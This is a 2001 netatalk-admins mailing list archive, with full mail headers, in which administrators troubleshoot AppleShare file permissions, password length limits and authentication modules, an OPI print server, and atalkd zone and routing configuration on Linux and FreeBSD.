	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 26 Nov 2001 13:13:21 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id NAA24074
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 26 Nov 2001 13:13:20 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id NAA24057
	for netatalk.administrators-members@umich.edu; Mon, 26 Nov 2001 13:13:20 -0500 (EST)
Received: from cliff.niehs.nih.gov (cliff.niehs.nih.gov [157.98.8.7])
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id NAA24017
	for <netatalk-admins@umich.edu>; Mon, 26 Nov 2001 13:13:18 -0500 (EST)
Received: from cliff.niehs.nih.gov (IDENT:root@localhost.localdomain [127.0.0.1])
	by cliff.niehs.nih.gov (8.9.3/8.9.3/NIEHS-POST-1.10) with ESMTP id NAA20465
	for <netatalk-admins@umich.edu>; Mon, 26 Nov 2001 13:13:18 -0500
Received: from trollope.niehs.nih.gov (trollope.niehs.nih.gov [157.98.13.26])
	by cliff.niehs.nih.gov (8.9.3/8.9.3/NIEHS-PRE-1.14) with ESMTP id NAA20445;
	Mon, 26 Nov 2001 13:13:18 -0500
Received: by trollope.niehs.nih.gov with Internet Mail Service (5.5.2653.19)
	id <XG93D1M4>; Mon, 26 Nov 2001 13:14:08 -0500
Message-ID: <4D693F933DD8D311A18C00E018B005760D254F29@trollope.niehs.nih.gov>
From: "Miller.Jonathan" <MILLER18@niehs.nih.gov>
To: "'Thomas Schierle'" <ts@visual-s.de>,
        Netatalk-Admins
	 <netatalk-admins@umich.edu>
Subject: RE: Access priveleges
Date: Mon, 26 Nov 2001 13:14:07 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="ISO-8859-1"

Ah, very good.  That appears to have fixed it.  Much obliged!

-Jon

> -----Original Message-----
> From: Thomas Schierle [mailto:ts@visual-s.de]
> Sent: Monday, November 26, 2001 12:58 PM
> To: Netatalk-Admins
> Subject: Re: Access priveleges
> 
> 
> On 2001-11-26 17:17 +0100, Miller.Jonathan 
> <MILLER18@niehs.nih.gov> wrote:
> 
> > Has anyone had a problem writing files to directories when 
> you should have
> > sufficient access to do so?  I have a world-writable 
> directory (according to
> > my
> > RH Linux 6.2 box) that's in a netatalk-shared directory.  
> But even though the
> > directory is mod 777 (and I can write a file using SMB from 
> my NT box), I can
> > an
> > access privelege error when trying to copy from Mac OS 9.2 
> and (I think) 8.6.
> > 
> > As I said, it's RH 6.2, and I'm pretty sure I've got 
> netatalk v1.4.  Any
> > thoughts?
> 
> Check if the hidden Apple special folders (.AppleDouble, 
> .AppleDesktop etc)
> are world writeable, too. I'm not at my Linux box right now, 
> but if memory
> doesn't fail, those folders are written to as the logged in user.
> 
> -- 
> Thomas Schierle, Munich, Germany
> 
> PGP key [DSS/DH] 0xA23CDA1D available at various public key servers
> 
> 

From netatalk.administrators-errors@umich.edu  Mon Nov 26 13:35:08 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id NAA19132
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 26 Nov 2001 13:35:08 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id NAA26822
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 26 Nov 2001 13:35:08 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id NAA26806
	for netatalk.administrators-members@umich.edu; Mon, 26 Nov 2001 13:35:07 -0500 (EST)
Received: from mhub-w5.tc.umn.edu (mhub-w5.tc.umn.edu [160.94.160.51])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id NAA26752
	for <netatalk-admins@umich.edu>; Mon, 26 Nov 2001 13:35:06 -0500 (EST)
Received: from garnet.tc.umn.edu by mhub-w5.tc.umn.edu with ESMTP for netatalk-admins@umich.edu; Mon, 26 Nov 2001 12:34:52 -0600
Received: from localhost by garnet.tc.umn.edu with ESMTP; Mon, 26 Nov 2001 12:34:36 -0600
Date: Mon, 26 Nov 2001 12:34:36 -0600 (CST)
From: Karen A Swanberg <swanberg@tc.umn.edu>
To: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
cc: raynkid <raynkid@yahoo.com>, netatalk-admins@umich.edu
Subject: Re: 8 character password limit
In-Reply-To: <B827202F.15184%Thomas.Kaiser@phg-online.de>
Message-Id: <Pine.SOL.4.20.0111261229540.6719-100000@garnet.tc.umn.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII


on 11/25/01, Thomas Kaiser wisely declared:

> am 25.11.2001 21:20 Uhr schrieb raynkid:
> 
> > Is this a netatalk configuration problem, or a Mac problem?
> 
> It's an UAM problem.

<snip>
 
> Recent AppleShare Clients support the DHX UAM, which older Netatalk Versions
> won't. You might want to give Netatalk 1.5 a try?

Apple has a list of which AppleShare clients are available for which OS
at:
http://til.info.apple.com/techinfo.nfs/artnum/n60792?OpenDocument&software
(this site requires cookies and a free registration) [I typed that URL in
by hand, sorry for any typos]. Appleshare Client 3.8.8 runs on most 8+
OS's, and supports longer passwords just fine.

Does anyone happen to know if this just encrypts username/password, or
the whole appleshare session?

-Karen

-                                                                  -
    Karen Swanberg | Sys Admin | Dept. of Geology and Geophysics    
206 Pillsbury Hall | 310 Pillsbury Ave. SE | University of Minnesota
     Minneapolis, MN 55455  (612) 624-6541  (612) 625-3819 (f)

              * <---- Tribble   . <--- Tribble.tgz


From netatalk.administrators-errors@umich.edu  Mon Nov 26 14:08:00 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id OAA20828
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 26 Nov 2001 14:08:00 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id OAA02108
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 26 Nov 2001 14:08:00 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id OAA02091
	for netatalk.administrators-members@umich.edu; Mon, 26 Nov 2001 14:07:59 -0500 (EST)
Received: from anubis.fizbin.com ([216.133.226.68])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id OAA02048
	for <netatalk-admins@umich.edu>; Mon, 26 Nov 2001 14:07:58 -0500 (EST)
Received: from [192.168.0.151] (cx428818-b.irvn1.occa.home.com [24.177.19.184])
	by anubis.fizbin.com (8.11.6/8.11.6) with ESMTP id fAQJ6vf11591;
	Mon, 26 Nov 2001 11:06:57 -0800
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Mon, 26 Nov 2001 11:07:44 -0800
Subject: Re: 8 character password limit
From: Steve Freitas <sflist@ihonk.com>
To: Karen A Swanberg <swanberg@tc.umn.edu>,
        Thomas Kaiser <Thomas.Kaiser@phg-online.de>
CC: raynkid <raynkid@yahoo.com>, <netatalk-admins@umich.edu>
Message-ID: <B827D300.9C5B%sflist@ihonk.com>
In-Reply-To: <Pine.SOL.4.20.0111261229540.6719-100000@garnet.tc.umn.edu>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

> Does anyone happen to know if this just encrypts username/password, or
> the whole appleshare session?

Just username/password.

Steve


From netatalk.administrators-errors@umich.edu  Mon Nov 26 15:43:05 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id PAA26887
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 26 Nov 2001 15:43:05 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id PAA07669
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 26 Nov 2001 15:43:05 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id PAA07650
	for netatalk.administrators-members@umich.edu; Mon, 26 Nov 2001 15:43:05 -0500 (EST)
Received: from users.phg-online.de (users.phg-online.de [62.245.158.230])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id PAA07619
	for <netatalk-admins@umich.edu>; Mon, 26 Nov 2001 15:43:03 -0500 (EST)
Received: from [195.30.238.157] (powerbook-tk.kaiser.link-m.de [195.30.238.157])
	by users.phg-online.de (8.9.3/8.9.3) with ESMTP id WAA12957;
	Mon, 26 Nov 2001 22:05:02 +0100
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2106
Date: Mon, 26 Nov 2001 21:42:57 +0100
Subject: Re: 8 character password limit
From: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
To: Karen A Swanberg <swanberg@tc.umn.edu>
CC: raynkid <raynkid@yahoo.com>, <netatalk-admins@umich.edu>
Message-ID: <B82867E0.1525A%Thomas.Kaiser@phg-online.de>
In-Reply-To: <Pine.SOL.4.20.0111261229540.6719-100000@garnet.tc.umn.edu>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

On Mon, 26 Nov 2001 12:34:36 -0600 (CST), Karen A Swanberg wrote:

> Apple has a list of which AppleShare clients are available for which OS
> at:
> http://til.info.apple.com/techinfo.nfs/artnum/n60792?OpenDocument&software
> (this site requires cookies and a free registration) [I typed that URL in
> by hand, sorry for any typos].

These older Lotus Domino URLs aren't valid any more. Apple nowadays uses
WebObjects for their own sites, so you can search from here on for older
articles: <http://kbase.info.apple.com/cgi-bin/WebObjects/kbase.woa/> or use
the direct link: <http://docs.info.apple.com/article.html?artnum=60792>

> Appleshare Client 3.8.8 runs on most 8+ OS's, and supports longer passwords
> just fine.

But won't you allow startup mounting of remote volumes as the passwords are
stored in the keychain (which doesn't exist in MacOS 8.x)

> Does anyone happen to know if this just encrypts username/password, or
> the whole appleshare session?

*Only* the password: <http://docs.info.apple.com/article.html?artnum=58373>

Regards,

Thomas


From netatalk.administrators-errors@umich.edu  Mon Nov 26 16:18:21 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id QAA29356
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 26 Nov 2001 16:18:21 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id QAA08252
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 26 Nov 2001 16:18:21 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id QAA08238
	for netatalk.administrators-members@umich.edu; Mon, 26 Nov 2001 16:18:20 -0500 (EST)
Received: from users.phg-online.de (users.phg-online.de [62.245.158.230])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id QAA08178
	for <netatalk-admins@umich.edu>; Mon, 26 Nov 2001 16:18:18 -0500 (EST)
Received: from [195.30.238.157] (powerbook-tk.kaiser.link-m.de [195.30.238.157])
	by users.phg-online.de (8.9.3/8.9.3) with ESMTP id WAA13049;
	Mon, 26 Nov 2001 22:39:52 +0100
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2106
Date: Mon, 26 Nov 2001 22:17:48 +0100
Subject: Re: OPI Server ready
From: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
To: Volker Birk <vb@kanguruh.ebios.de>, Frank Morton <fmorton@base2inc.com>
CC: <netatalk-admins@umich.edu>
Message-ID: <B8287007.15262%Thomas.Kaiser@phg-online.de>
In-Reply-To: <20011126144532.C15664@kanguruh.ebios.de.>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

On Mon, 26 Nov 2001 14:45:33 +0100, Volker Birk wrote:

> What do you mean with "FPO"?

That's Xinet slang for lowres images: FPO --> 'for placement only'

> The low res pictures are automatically created by the scripts which you
> can find on http://opi3.ebios.de also.
> 
> The scripts create the directory structure and for every picture in the
> high res directory which is a TIFF file they create a low res picture in
> the low res directory path at the same place.

So you do it almost the same way as Xinet does. But they store the lowres
image inside the same file they store the highres' resource fork. The
'lowres volume' you can mount on the mac just does some magic to let you
believe it's a separate volume. In fact, it's just another view on the same
files. Nice in some situations: If you delete, rename or move a highres
image, the lowres will do the same (btw: almost all this you can do with
Helios too, if you're familiar enough with it ;-)

>> How to integrate with something like netatalk?
> 
> Opi3 just reads an input file and outputs an output file. So you could
> create some named pipes to use it as an lpr filter. Have a look at the
> sample scripts also, there is a solution for that.

That means you support the full set of OPI comments? 1.3 and 2.0 too?

> Unfortunately it is only possible to use TIFF pictures with the existing
> scripts (the reason is easy: the people who use it have such pictures).

Hmm, using EPS images and omitting them while printing (forcing the layout
application to create OPI comments) will work, too? So you won't need
automatically generated lowres images at all?

> And there is only less documentation until now.

That's true ;-)

As a very satisfied of a commercial OPI server (not Xinet ;-), I wonder if
you have any plans regarding

- postscript font management
- honoring the output device's ps-level while printing EPS (OPI replacement)
- color management (icc)
- native pdf support

Regards,

Thomas


From netatalk.administrators-errors@umich.edu  Mon Nov 26 17:40:31 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id RAA04319
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 26 Nov 2001 17:40:31 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id RAA15092
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 26 Nov 2001 17:40:31 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id RAA15078
	for netatalk.administrators-members@umich.edu; Mon, 26 Nov 2001 17:40:31 -0500 (EST)
Received: from kanguruh.ebios.de (kanguruh.ebios.de [195.126.148.2])
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id RAA14994
	for <netatalk-admins@umich.edu>; Mon, 26 Nov 2001 17:40:28 -0500 (EST)
Received: (from vb@localhost)
	by kanguruh.ebios.de (8.11.0/8.8.8) id fAQMe1X28538;
	Mon, 26 Nov 2001 23:40:01 +0100
Date: Mon, 26 Nov 2001 23:40:00 +0100
From: Volker Birk <vb@kanguruh.ebios.de>
To: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
Cc: Frank Morton <fmorton@base2inc.com>, netatalk-admins@umich.edu
Subject: Re: OPI Server ready
Message-ID: <20011126234000.A26942@kanguruh.ebios.de.>
References: <20011126144532.C15664@kanguruh.ebios.de.> <B8287007.15262%Thomas.Kaiser@phg-online.de>
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Disposition: inline
User-Agent: Mutt/1.3.17i
In-Reply-To: <B8287007.15262%Thomas.Kaiser@phg-online.de>; from Thomas.Kaiser@phg-online.de on Mon, Nov 26, 2001 at 10:17:48PM +0100

On Mon, Nov 26, 2001 at 10:17:48PM +0100, Thomas Kaiser wrote:
> Nice in some situations: If you delete, rename or move a highres
> image, the lowres will do the same

... and so is it with our scripts...

> That means you support the full set of OPI comments? 1.3 and 2.0 too?

Yes.

> Hmm, using EPS images and omitting them while printing (forcing the layout
> application to create OPI comments) will work, too?

Yes. opi3 will handle them correctly. The problem is, the scripts for
building the low res images are working on TIFF files only until now.

> So you won't need
> automatically generated lowres images at all?

You could also do that. But then your layout software must handle this
correctly.

> - postscript font management

Seems like you're using Helios. I think, we'll have no font management.
That is, because we will use the font management of the client
computers. The users I know are not able to handle with server font
management correctly and only have problems with it. So why not using
the fonts of the client machine?

> - honoring the output device's ps-level while printing EPS (OPI replacement)

We're not changing the PS level of the input file. Only replacement is
done. Of course, we could enter EPS 2.0 comments if there is PS Level 3.
But why? Nearly no output device at all uses the comments, we just put
them in for being in standard.

> - color management (icc)

That is an idea, of course, to do color management in the Software. But
better than doing it in opi3 would be a color management server itself.

> - native pdf support

Why not? I think, we'll support it.

VB.
-- 
*** ebios Informationssysteme, Germany      ***  kangu:~ $ cd /pub/
*** Gut-Betha-Platz 1, 88339 Bad Waldsee    ***  kangu:/pub $ more beer
*** Phone +49-7524-93421 Fax +49-7524-93423 ***  Aaahhhh! That was good!
*** mailto:vb@ebios.de                      ***  kangu:/pub $ _

From netatalk.administrators-errors@umich.edu  Mon Nov 26 22:10:50 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id WAA14170
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 26 Nov 2001 22:10:50 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id WAA25461
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 26 Nov 2001 22:10:50 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id WAA25446
	for netatalk.administrators-members@umich.edu; Mon, 26 Nov 2001 22:10:50 -0500 (EST)
Received: from smtp2.reach.net.sg (smtp2.reach.net.sg [202.79.127.165])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id WAA25375
	for <netatalk-admins@umich.edu>; Mon, 26 Nov 2001 22:10:48 -0500 (EST)
Received: from yahoo.com ([203.162.55.3])
	by smtp2.reach.net.sg (8.9.3+Sun/8.9.1) with ESMTP id LAA08008
	for <netatalk-admins@umich.edu>; Tue, 27 Nov 2001 11:01:24 +0800 (SGT)
Message-ID: <3C030251.6070705@yahoo.com>
Date: Tue, 27 Nov 2001 10:02:41 +0700
From: Di Tim Tien Nu <ditimtiennu@yahoo.com>
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.4) Gecko/20011019 Netscape6/6.2
X-Accept-Language: en-us
MIME-Version: 1.0
To: netatalk-admins@umich.edu
Subject: Compiler Problem
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit

Hi all,

I have just installed netatalk-1.5pre6.1rh7.i386.rpm for redhat 7.2, 
everthing is OK. But with netatalk-1.5pre6.1rh7.src.rpm, i can access 
linux by guest but user is not. I had a message password incorrect. I 
recompiled afpd with -DSHADOWPW define.

Thanks
Tony


From netatalk.administrators-errors@umich.edu  Mon Nov 26 23:06:49 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id XAA16834
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 26 Nov 2001 23:06:49 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id XAA13954
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 26 Nov 2001 23:06:48 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id XAA13933
	for netatalk.administrators-members@umich.edu; Mon, 26 Nov 2001 23:06:48 -0500 (EST)
Received: from mailin3.email.bigpond.com (mailin3.bigpond.com [139.134.6.34])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id XAA13838
	for <netatalk-admins@umich.edu>; Mon, 26 Nov 2001 23:06:45 -0500 (EST)
Received: from wskatinka ([144.135.24.75]) by
          mailin3.email.bigpond.com (Netscape Messaging Server 4.15) with
          SMTP id GNFYED00.7HS for <netatalk-admins@umich.edu>; Tue, 27
          Nov 2001 14:13:25 +1000 
Received: from 144.137.224.31 ([144.137.224.31]) by bwmam03.mailsvc.email.bigpond.com(MailRouter V2.9k 8323/22141971); 27 Nov 2001 14:06:37
Message-ID: <004c01c176f9$9a953ad0$fe00a8c0@wskatinka>
From: "Kathy Quinlan" <katinka@magestower.com>
To: <netatalk-admins@umich.edu>
Subject: zones in netalk
Date: Tue, 27 Nov 2001 12:11:30 +0800
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4807.1700
X-MIMEOLE: Produced By Microsoft MimeOLE V5.50.4807.1700

I am using freebsd 4.3R

I am using netatalk 1.4b2+asun2.1.3  installed form the ports collection.

The mac can see the server fine, and file share. (I have no printers set up
yet as they all hang of win2k boxes)

I can not get zones to work :o(

I have 2 network cards, one for the ADSL link and one for the internal
network. The ADSL one is not used for AppleTalk.

I have a line in my /usr/local/etc/atalkd.conf :

#ed0 -seed -phase 2 -net 0-65534 -addr 65280.185 -zone "home"

but every time netatalk starts, it removes the - zone "home" and no zones
are install :o(

Please help

Regards,

Kat.

____________________________________________________________________________
 /"\   ASCII Ribbon Campaign  |        K.A.Q. Electronics
 \ / - NO HTML/RTF in e-mail | Software and Electronic Engineering
 X  - NO Word docs in e-mail  |      Perth Western Australia
 / \                                            |        Ph +61 419 923 731
____________________________________________________________________________




From netatalk.administrators-errors@umich.edu  Tue Nov 27 02:07:17 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id CAA26206
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 27 Nov 2001 02:07:17 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id CAA27046
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 27 Nov 2001 02:07:17 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id CAA27024
	for netatalk.administrators-members@umich.edu; Tue, 27 Nov 2001 02:07:17 -0500 (EST)
Received: from users.phg-online.de (users.phg-online.de [62.245.158.230])
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id CAA26984
	for <netatalk-admins@umich.edu>; Tue, 27 Nov 2001 02:07:15 -0500 (EST)
Received: from [195.30.238.157] (powerbook-tk.kaiser.link-m.de [195.30.238.157])
	by users.phg-online.de (8.9.3/8.9.3) with ESMTP id IAA28323;
	Tue, 27 Nov 2001 08:29:06 +0100
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2106
Date: Tue, 27 Nov 2001 08:07:01 +0100
Subject: Re: zones in netalk
From: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
To: Kathy Quinlan <katinka@magestower.com>, <netatalk-admins@umich.edu>
Message-ID: <B828FA24.152A7%Thomas.Kaiser@phg-online.de>
In-Reply-To: <004c01c176f9$9a953ad0$fe00a8c0@wskatinka>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

On Tue, 27 Nov 2001 12:11:30 +0800, Kathy Quinlan wrote:

> I have a line in my /usr/local/etc/atalkd.conf :
> 
> #ed0 -seed -phase 2 -net 0-65534 -addr 65280.185 -zone "home"
> 
> but every time netatalk starts, it removes the - zone "home" and no zones
> are install :o(

Normally, atalkd will only publish zones if you use it as a router. That
means you specify more than two interfaces for use with atalkd, eg.:

ed0 -seed -phase 2 -net 1-20 -addr 10.142 -zone "my first zone" -zone "home"
ed1 -seed -phase 2 -net 21-40 -addr 21.142 -zone "my second zone"

(netranges have to stay unique)

atalkd also supports a switch "-router". With it you can publish zones even
if you are using only one interface:

ed0 -router -seed -phase 2 -net 1-20 -addr 10.142 -zone "my first zone" \
    -zone "my second zone" -zone "home"

References:
<http://www.transit.hanse.de/netatalk/router.html>,
<http://www.umich.edu/~rsug/netatalk/archive/admins/1999/2163.html>

Regards,

Thomas


From netatalk.administrators-errors@umich.edu  Tue Nov 27 06:23:59 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id GAA05044
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 27 Nov 2001 06:23:59 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id GAA13515
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 27 Nov 2001 06:23:58 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id GAA13496
	for netatalk.administrators-members@umich.edu; Tue, 27 Nov 2001 06:23:58 -0500 (EST)
Received: from mail5.carolina.rr.com (fe5.southeast.rr.com [24.93.67.52])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id GAA13468
	for <netatalk-admins@umich.edu>; Tue, 27 Nov 2001 06:23:57 -0500 (EST)
Received: from link6 ([24.93.92.117]) by mail5.carolina.rr.com  with Microsoft SMTPSVC(5.5.1877.687.68);
	 Tue, 27 Nov 2001 06:23:55 -0500
Content-Type: text/plain;
  charset="iso-8859-1"
From: gmac63 <gmac63@carolina.rr.com>
Reply-To: gmac63@carolina.rr.com
To: netatalk-admins@umich.edu
Subject: Re: zones in netalk
Date: Tue, 27 Nov 2001 06:24:44 -0500
X-Mailer: KMail [version 1.2]
References: <B828FA24.152A7%Thomas.Kaiser@phg-online.de>
In-Reply-To: <B828FA24.152A7%Thomas.Kaiser@phg-online.de>
MIME-Version: 1.0
Message-Id: <01112706244400.01607@link6>
Content-Transfer-Encoding: 8bit

On Tuesday 27 November 2001 02:07 am, Thomas Kaiser wrote:
> On Tue, 27 Nov 2001 12:11:30 +0800, Kathy Quinlan wrote:
> > I have a line in my /usr/local/etc/atalkd.conf :
> >
> > #ed0 -seed -phase 2 -net 0-65534 -addr 65280.185 -zone "home"
> >
> > but every time netatalk starts, it removes the - zone "home" and no zones
> > are install :o(
>
> Normally, atalkd will only publish zones if you use it as a router. That
> means you specify more than two interfaces for use with atalkd, eg.:
>
> ed0 -seed -phase 2 -net 1-20 -addr 10.142 -zone "my first zone" -zone
> "home" 
> ed1 -seed -phase 2 -net 21-40 -addr 21.142 -zone "my second zone"
>
> (netranges have to stay unique)
>
> atalkd also supports a switch "-router". With it you can publish zones even
> if you are using only one interface:
>
> ed0 -router -seed -phase 2 -net 1-20 -addr 10.142 -zone "my first zone" \
>     -zone "my second zone" -zone "home"
>
> References:
> <http://www.transit.hanse.de/netatalk/router.html>,
> <http://www.umich.edu/~rsug/netatalk/archive/admins/1999/2163.html>
>
> Regards,
>
> Thomas

AppleTalk routing via Netatalk is so confusing. I had originally put -seed 
into my atalkd.conf file and "broke" my network. So much for trying to work 
on the network while others are there :)

Say, I have three NICs and only need one zone, but I want to route between 
the three. If I inderstand you, -seed will allow for multiple NICs/zones and 
-router will route multiple zones on one NIC. Is that the "rule"?

So, basically, -seed and -router do the same...? -seed is for multiple 
NICs....?

Also, one very confusing thing. As I'm reading about AppleTalk (ughhh) and 
how it assigns networks and addresses (double ugh), I understand that 
AppleTalk devices start off with a certain "standard startup network range" 
of between 65280-65534. When I start Netatalk with -seed or -router, it 
"captures" or some devices spontaneously change their network address...!

Is this normal? 

Below are a few attempts at making the three work. From atalkd.conf:

       This turns on transition routing between the le0 and le1
#       interfaces on a Sun.  It also causes atalkd to fail if other
#       routers disagree about it's configuration of le1.
#
### Worked, but broke the network
# 11/24 shut off all appleT devices and started with this configuration.
# it worked for all devices restarted so far. See on Monday.
#eth0 -router -phase 2 -net 1-20 -addr 1.10 -zone "*"
#eth1 -router -phase 2 -net 21-40 -addr 21.10 -zone "*"
#eth2 -router -phase 2 -net 41-60 -addr 41.10 -zone "*"

### Worked, but broke the network
#eth0 -seed -phase 2 -net 1-20 -addr 1.10 -zone "*"
#eth1 -seed -phase 2 -net 21-40 -addr 21.10 -zone "*"
#eth2 -seed -phase 2 -net 41-60 -addr 41.10 -zone "*"

### test to see if eth0 will be a router and if it
# can seed the other nics.
eth0 -router -phase 2 -net 1-20 -addr 1.11 -zone "*"
eth1 -seed -phase 2 -net 21-40 -addr 21.10 -zone "*"
eth2 -seed -phase 2 -net 41-60 -addr 41.10 -zone "*"

If you have any suggestions other than those mentioned to Kathy Quinlan, let 
me know. I wish there was some adequate Netatalk routing documentation that 
explains -seed vs -router and having multiple NICs and zones.

-Wes Yates

From netatalk.administrators-errors@umich.edu  Tue Nov 27 07:31:23 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
